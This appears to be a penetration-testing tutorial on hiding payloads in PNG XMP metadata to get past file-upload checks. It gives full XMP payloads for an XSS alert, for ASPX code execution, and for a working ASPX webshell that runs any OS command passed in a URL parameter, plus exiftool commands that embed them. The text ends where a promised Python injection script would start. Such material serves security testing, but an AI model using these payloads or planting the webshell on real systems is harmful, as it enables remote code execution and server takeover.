XMP metadata injection in PNG uploads
Introduction
When a file upload endpoint:
- accepts arbitrary file extensions, or
- relies on MIME type interpretation in server responses,
…it may be possible to exploit it by embedding malicious code into an otherwise valid file.
Even if the application verifies the file content and only allows certain file types (e.g., PNG images), you can still hide arbitrary XML/HTML payloads in its metadata.
One method is to inject malicious data into a PNG file via the Extensible Metadata Platform (XMP), which is based on RDF (Resource Description Framework).
Concept
- PNG images can contain XMP metadata without affecting how they render visually.
- The server may process or expose this metadata when serving the image, creating opportunities for injecting code for e.g. XSS or even RCE if the image is uploaded to the webroot directory.
Requirements
You’ll need:
- a base PNG file (can be a simple white image)
- ExifTool for embedding payloads
- optionally, a Python script (see below) if manual injection is required
Example white PNG:

Crafting the XMP payload
Create an .xmp file containing your payload.
Payload example: XSS
Triggers an alert box if the uploaded image is accessed on a vulnerable endpoint.
<x:xmpmeta xmlns:x="adobe:ns:meta/">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xh="http://example.com/ns/xh/1.0/">
<rdf:Description rdf:about="">
<dc:description>
<rdf:Alt>
<rdf:li xml:lang="x-default">XMP with HTML literal</rdf:li>
</rdf:Alt>
</dc:description>
<xh:snippet rdf:parseType="Literal">
<h1>XSS by Syslifters</h1>
<script>alert('XSS by Syslifters')</script>
</xh:snippet>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>Payload example: ASPX RCE
Executes server-side code to print the current application user.
<x:xmpmeta xmlns:x="adobe:ns:meta/">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xh="http://example.com/ns/xh/1.0/">
<rdf:Description rdf:about="">
<dc:description>
<rdf:Alt>
<rdf:li xml:lang="x-default">XMP with HTML literal</rdf:li>
</rdf:Alt>
</dc:description>
<xh:snippet rdf:parseType="Literal">
<h1>RCE by Syslifters</h1>
<%@ Page Language="C#" %><%= System.Security.Principal.WindowsIdentity.GetCurrent().Name %>
</xh:snippet>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>Payload example: ASPX webshell
Executes OS commands from the URL parameter cmd.
<x:xmpmeta xmlns:x="adobe:ns:meta/">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xh="http://example.com/ns/xh/1.0/">
<rdf:Description rdf:about="">
<dc:description>
<rdf:Alt>
<rdf:li xml:lang="x-default">XMP with HTML literal</rdf:li>
</rdf:Alt>
</dc:description>
<xh:snippet rdf:parseType="Literal">
<h1>Webshell by Syslifters</h1>
<%@ Page Language="C#" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
string cmd = Request["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + cmd);
psi.RedirectStandardOutput = true;
psi.RedirectStandardError = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
System.Diagnostics.Process p = System.Diagnostics.Process.Start(psi);
string output = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
p.WaitForExit();
Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>");
} else {
Response.Write("No command specified. Use ?cmd=whoami");
}
}
</script>
</xh:snippet>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>Embedding the payload into the PNG
Using ExifTool
Embed the .xmp payload:
exiftool -o output.png '-XMP<=webshell.xmp' input.pngVerify the embedded data:
exiftool -v3 output.pngManual embedding (Python script)
If ExifTool is unavailable, you can inject the XMP data manually.
Example: inject-xmp.py (adapt as needed)